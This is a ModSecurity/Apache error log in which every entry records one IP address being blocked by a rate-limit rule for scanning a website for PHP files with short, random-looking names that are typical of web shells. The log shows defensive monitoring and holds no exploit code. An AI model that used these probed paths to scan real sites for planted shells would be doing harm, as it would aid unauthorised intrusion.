[Tue Mar 24 23:45:38.647418 2026] [:error] [pid 64198:tid 64206] [client 4.223.157.92:4049] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "acKxonVzJqf6OS_oSZ32jwAAAUY"]
[Tue Mar 24 23:45:39.228880 2026] [:error] [pid 38767:tid 38786] [client 4.223.157.92:3985] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "acKxo_wkUqN4GJAI5oWE-wAAARA"]
[Tue Mar 24 23:45:39.760717 2026] [:error] [pid 38767:tid 38793] [client 4.223.157.92:7969] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "acKxo_wkUqN4GJAI5oWFAQAAARc"]
[Tue Mar 24 23:45:40.287599 2026] [:error] [pid 48214:tid 48270] [client 4.223.157.92:4028] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "acKxpLeshLWZ3uUDHKmM2QAAAdI"]
[Tue Mar 24 23:45:41.478790 2026] [:error] [pid 3137:tid 3154] [client 4.223.157.92:4038] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "acKxpZdZesutm6dfYM91TQAAAM8"]
[Tue Mar 24 23:45:42.009734 2026] [:error] [pid 48214:tid 48267] [client 4.223.157.92:3977] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "acKxpreshLWZ3uUDHKmM3gAAAc8"]
[Tue Mar 24 23:45:42.610076 2026] [:error] [pid 48219:tid 48295] [client 4.223.157.92:4051] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "acKxpihf3b4R_lAIyv-poQAAAg4"]
[Tue Mar 24 23:45:43.139846 2026] [:error] [pid 48219:tid 48302] [client 4.223.157.92:3991] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "acKxpyhf3b4R_lAIyv-pogAAAhU"]
[Tue Mar 24 23:45:43.672050 2026] [:error] [pid 48219:tid 48298] [client 4.223.157.92:4078] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "acKxpyhf3b4R_lAIyv-ppwAAAhE"]
[Tue Mar 24 23:45:44.213528 2026] [:error] [pid 38767:tid 38777] [client 4.223.157.92:4091] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "acKxqPwkUqN4GJAI5oWFDAAAAQc"]
[Tue Mar 24 23:45:45.372184 2026] [:error] [pid 48219:tid 48302] [client 4.223.157.92:3961] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "acKxqShf3b4R_lAIyv-psQAAAhU"]
[Tue Mar 24 23:45:45.972318 2026] [:error] [pid 48219:tid 48285] [client 4.223.157.92:3970] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "acKxqShf3b4R_lAIyv-ptwAAAgQ"]
[Tue Mar 24 23:45:46.534962 2026] [:error] [pid 48219:tid 48290] [client 4.223.157.92:7985] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "acKxqihf3b4R_lAIyv-pvgAAAgk"]
[Tue Mar 24 23:45:47.063447 2026] [:error] [pid 3137:tid 3147] [client 4.223.157.92:3919] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "acKxq5dZesutm6dfYM91WgAAAMg"]
[Tue Mar 24 23:45:47.615500 2026] [:error] [pid 3137:tid 3152] [client 4.223.157.92:3950] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "acKxq5dZesutm6dfYM91YQAAAM0"]
[Tue Mar 24 23:45:48.141314 2026] [:error] [pid 3137:tid 3154] [client 4.223.157.92:3973] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "acKxrJdZesutm6dfYM91aAAAAM8"]
[Tue Mar 24 23:45:49.337054 2026] [:error] [pid 48219:tid 48298] [client 4.223.157.92:4008] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "acKxrShf3b4R_lAIyv-pwwAAAhE"]
[Tue Mar 24 23:45:49.869949 2026] [:error] [pid 3137:tid 3152] [client 4.223.157.92:3987] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "acKxrZdZesutm6dfYM91dgAAAM0"]
[Tue Mar 24 23:45:50.408619 2026] [:error] [pid 3137:tid 3153] [client 4.223.157.92:3918] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "acKxrpdZesutm6dfYM91ewAAAM4"]
[Tue Mar 24 23:45:50.940684 2026] [:error] [pid 3137:tid 3147] [client 4.223.157.92:3975] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "acKxrpdZesutm6dfYM91gAAAAMg"]
[Tue Mar 24 23:45:51.477783 2026] [:error] [pid 64198:tid 64221] [client 4.223.157.92:3972] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "acKxr3VzJqf6OS_oSZ32mgAAAVU"]
[Tue Mar 24 23:45:52.011232 2026] [:error] [pid 64198:tid 64217] [client 4.223.157.92:3981] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maul.php"] [unique_id "acKxsHVzJqf6OS_oSZ32nQAAAVE"]
[Tue Mar 24 23:45:52.591872 2026] [:error] [pid 38767:tid 38792] [client 4.223.157.92:3854] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maul.php"] [unique_id "acKxsPwkUqN4GJAI5oWFEQAAARY"]
[Tue Mar 24 23:45:53.748317 2026] [:error] [pid 3030:tid 3066] [client 4.223.157.92:3955] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maul.php"] [unique_id "acKxsQyOuILyynfcqfl0OQAAABE"]
[Tue Mar 24 23:45:54.283340 2026] [:error] [pid 3137:tid 3146] [client 4.223.157.92:4026] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maul.php"] [unique_id "acKxspdZesutm6dfYM91jAAAAMc"]
[Tue Mar 24 23:45:55.915188 2026] [:error] [pid 3137:tid 3147] [client 4.223.157.92:4011] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "acKxs5dZesutm6dfYM91kAAAAMg"]
[Tue Mar 24 23:45:56.486279 2026] [:error] [pid 48219:tid 48298] [client 4.223.157.92:3858] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "acKxtChf3b4R_lAIyv-pzgAAAhE"]
[Tue Mar 24 23:45:57.027433 2026] [:error] [pid 48219:tid 48297] [client 4.223.157.92:3971] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "acKxtShf3b4R_lAIyv-pzwAAAhA"]
[Tue Mar 24 23:45:57.571411 2026] [:error] [pid 48128:tid 48167] [client 4.223.157.92:7996] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "acKxtcvR4LIMFLbM5VlLVAAAAY8"]
[Tue Mar 24 23:45:58.160783 2026] [:error] [pid 3137:tid 3156] [client 4.223.157.92:4076] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "acKxtpdZesutm6dfYM91pAAAANE"]
[Tue Mar 24 23:45:58.697476 2026] [:error] [pid 3137:tid 3161] [client 4.223.157.92:4093] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "acKxtpdZesutm6dfYM91qAAAANY"]
[Tue Mar 24 23:45:59.331695 2026] [:error] [pid 38767:tid 38787] [client 4.223.157.92:4005] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "acKxt_wkUqN4GJAI5oWFGgAAARE"]
[Tue Mar 24 23:46:00.485844 2026] [:error] [pid 48219:tid 48305] [client 4.223.157.92:3954] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "acKxuChf3b4R_lAIyv-p2AAAAhg"]
[Tue Mar 24 23:46:16.105055 2026] [:error] [pid 3032:tid 3117] [client 4.223.157.92:4027] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/varb.php"] [unique_id "acKxyCa_-JXXD03-JNxvdQAAAI4"]
[Tue Mar 24 23:46:16.737835 2026] [:error] [pid 3137:tid 3139] [client 4.223.157.92:3994] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/varb.php"] [unique_id "acKxyJdZesutm6dfYM919wAAAMA"]
[Tue Mar 24 23:46:17.275386 2026] [:error] [pid 48219:tid 48299] [client 4.223.157.92:4073] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/varb.php"] [unique_id "acKxyShf3b4R_lAIyv-qCgAAAhI"]
[Tue Mar 24 23:46:17.812528 2026] [:error] [pid 38767:tid 38790] [client 4.223.157.92:4021] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/varb.php"] [unique_id "acKxyfwkUqN4GJAI5oWFPAAAARQ"]
[Tue Mar 24 23:46:18.366870 2026] [:error] [pid 64198:tid 64203] [client 4.223.157.92:3842] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "acKxynVzJqf6OS_oSZ32ywAAAUM"]
[Tue Mar 24 23:46:18.907433 2026] [:error] [pid 38767:tid 38783] [client 4.223.157.92:3922] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "acKxyvwkUqN4GJAI5oWFPQAAAQ0"]
[Tue Mar 24 23:46:19.471866 2026] [:error] [pid 64198:tid 64206] [client 4.223.157.92:3968] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "acKxy3VzJqf6OS_oSZ320wAAAUY"]
[Tue Mar 24 23:46:20.001929 2026] [:error] [pid 64198:tid 64224] [client 4.223.157.92:4012] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "acKxzHVzJqf6OS_oSZ321QAAAVg"]
[Tue Mar 24 23:46:20.552443 2026] [:error] [pid 3032:tid 3125] [client 4.223.157.92:3958] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "acKxzCa_-JXXD03-JNxveQAAAJY"]
[Tue Mar 24 23:46:21.083591 2026] [:error] [pid 48214:tid 48252] [client 4.223.157.92:3924] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "acKxzbeshLWZ3uUDHKmNAQAAAcA"]
[Tue Mar 24 23:46:21.620133 2026] [:error] [pid 48214:tid 48253] [client 4.223.157.92:3928] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "acKxzbeshLWZ3uUDHKmNBgAAAcE"]
[Tue Mar 24 23:46:22.234170 2026] [:error] [pid 38767:tid 38794] [client 4.223.157.92:3930] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "acKxzvwkUqN4GJAI5oWFPwAAARg"]
[Tue Mar 24 23:46:22.828809 2026] [:error] [pid 48214:tid 48271] [client 4.223.157.92:3936] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "acKxzreshLWZ3uUDHKmNCQAAAdM"]
[Tue Mar 24 23:46:23.366406 2026] [:error] [pid 3137:tid 3141] [client 4.223.157.92:4086] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "acKxz5dZesutm6dfYM92AgAAAMI"]
[Tue Mar 24 23:46:23.897358 2026] [:error] [pid 3137:tid 3140] [client 4.223.157.92:3877] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "acKxz5dZesutm6dfYM92BAAAAME"]
[Tue Mar 24 23:46:24.449575 2026] [:error] [pid 3137:tid 3142] [client 4.223.157.92:3861] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "acKx0JdZesutm6dfYM92CAAAAMM"]
[Tue Mar 24 23:46:24.982181 2026] [:error] [pid 48128:tid 48163] [client 4.223.157.92:4007] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "acKx0MvR4LIMFLbM5VlLXwAAAYs"]
[Tue Mar 24 23:46:25.511537 2026] [:error] [pid 3032:tid 3111] [client 4.223.157.92:3867] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "acKx0Sa_-JXXD03-JNxvfAAAAIg"]
[Tue Mar 24 23:46:27.139561 2026] [:error] [pid 3031:tid 3100] [client 4.223.157.92:3915] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "acKx06JBKytnG47nuiZHrQAAAFg"]
[Tue Mar 24 23:46:27.670289 2026] [:error] [pid 3032:tid 3118] [client 4.223.157.92:3905] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "acKx0ya_-JXXD03-JNxvfwAAAI8"]
[Tue Mar 24 23:46:28.197998 2026] [:error] [pid 64198:tid 64219] [client 4.223.157.92:3917] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "acKx1HVzJqf6OS_oSZ325QAAAVM"]
[Tue Mar 24 23:46:28.728014 2026] [:error] [pid 48214:tid 48272] [client 4.223.157.92:4087] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "acKx1LeshLWZ3uUDHKmNEwAAAdQ"]
[Tue Mar 24 23:46:29.273728 2026] [:error] [pid 48219:tid 48290] [client 4.223.157.92:4088] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "acKx1Shf3b4R_lAIyv-qFAAAAgk"]
